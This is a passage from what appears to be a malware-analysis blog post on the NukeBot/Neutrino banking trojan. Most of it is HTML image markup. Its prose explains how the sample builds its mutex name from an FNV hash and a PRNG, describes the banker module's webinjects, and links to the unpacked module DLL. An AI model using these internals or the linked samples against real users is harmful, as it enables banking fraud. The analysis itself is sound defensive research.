src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png" width="640" height="328" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:328,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEju38qXWOLpejUAYwqzDVk1Aq_0y88Jjq2S1kQU84_OrqkgTWS_hQzTTIFa80ANrehQWKsUWelFHAz4gYgi63-E_P5_QTs7FUjDVQRYfh-F6kWixpJW4iFsiaeqMjGh6yRYP9QQ6cTcmuI/s640/nukebot_inject.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> 1.2.3. Other details</p><p><br> 1.2.3.1. BotId and mutex</p><p> The analyzed sample contains a kind of executable id, and the name of the mutex is created based on that executable id. In the case of the analyzed sample this exe id is "aug27", probably the date that it was generated (the virustotal first analysis date is 2018/08/28). From analyzed sample (IDA decompiled):</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png" width="640" height="208" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:208,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSzQOCvITrsJel9ZAsa3WUl_dQWPungPIT-TU-pE2FWXjnWQFRbXW4Wf6tXsSJS0asxbDHQiK_O9bMFlfILk7kCyOspvz2huy4fW4pfrWeKcgk3DfulotsmBYWX2kjIizdHNupGDIwDF4/s640/nukebot_mutex.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> A fowler-noll-vo hash is calculated from the string "aug27". Later, it uses the calculated hash to initialize a PRNG (based on idum=1664525*idum+1013904223) to generate a random guid, that will be the name of the created mutex. From analyzed sample (IDA decompiled):</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png" width="350" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:350,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLS7JbBXfMCybOeeTHLk3EIjVaY36k171aIKN-J0EpPVxswXxe8mY9_0ng_wsR7sVGlG7oevx7C-GeiTakVREJ58CG27IUAkbyIjOKGbUtZLdNnUQQXQPECTEfML_9On5_rXlj39L8WUc/s400/nukebot_random_guid.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> 1.2.3.2. PRNG</p><p> From analyzed sample (IDA decompiled):</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png" width="327" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:327,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0UoGnmMXpiU5pCdoulZG1JfhAnUaOn-zR09bLf-vuvX4GheI4jlxmlEXTDl-GYeHulOAsbmmXAaphfkfEHv-j6_mUyqFBvgI5T7KZumHZdMisShXrEUfFJCSwVpNRn1RjSfdSx-cPZXs/s400/nukebot_prng.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3></h3><h3>2. Banker module</h3><p> The third stage is the banker module. You can find the unpacked banker module's dll that I unpacked&nbsp;<a href="https://www.hybrid-analysis.com/sample/fbc59d467919dd07a343f59e0e8718610fb663a08bb373d6a04bf0b70b073f82">here</a>. It is quite similar to&nbsp;<a href="https://www.hybrid-analysis.com/sample/5d27da308eb6d494b656d67cbaded6a183e45823a7d9430e86573bd38011f3f4?environmentId=100">this other dll</a>&nbsp;that&nbsp;was extracted by <a href="https://twitter.com/james_inthe_box">@james_in_the_box</a> (you can read about at twitter,&nbsp;<a href="https://twitter.com/malware_traffic/status/1032066941953945600">here</a>) from a sample shared by <a href="https://twitter.com/malware_traffic">@malware_traffic</a>, <a href="https://www.malware-traffic-analysis.net/2018/08/21/index2.html">here</a>.</p><p><a href="https://pastebin.com/xctbmghM">This</a>&nbsp;is a list of strings of the Neutrino Bot unpacked banker module.</p><h4></h4><h4>2.1. WebInjects</h4><p> The banker module performs webinjects. The following parts of code manage the downloaded injects (IDA decompiled):<br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png" width="377" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:377,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSvDc8o3C-FVKvpQFOET1zaaWM4Mmwdj2lly83s2851op-T48FW6G30NM4TQhjW_rcsjG8XIgIAUR-hbX7louZtHDJI-t0YL0F9ZsnLE_Fzf6VHdSrt3QswVIk2pqZ8QtHgwaKDFgBqeY/s400/neutrino_banker_mod_getwebinject.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh040oyj2EXVb5xbn1q7EOh3sv_rmI9qhju07N7tRpySSWsuKVLAlLq8NiuKsWiqB-_flStXIsWVpnkEUI44Ax0QgZDFNMg0OU-76UV-qiFg-e4ifrOog8O3ffLwA5TBmQTY9fNSro5owA/s400/neutrino_banker_mod_webinject2keywords.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 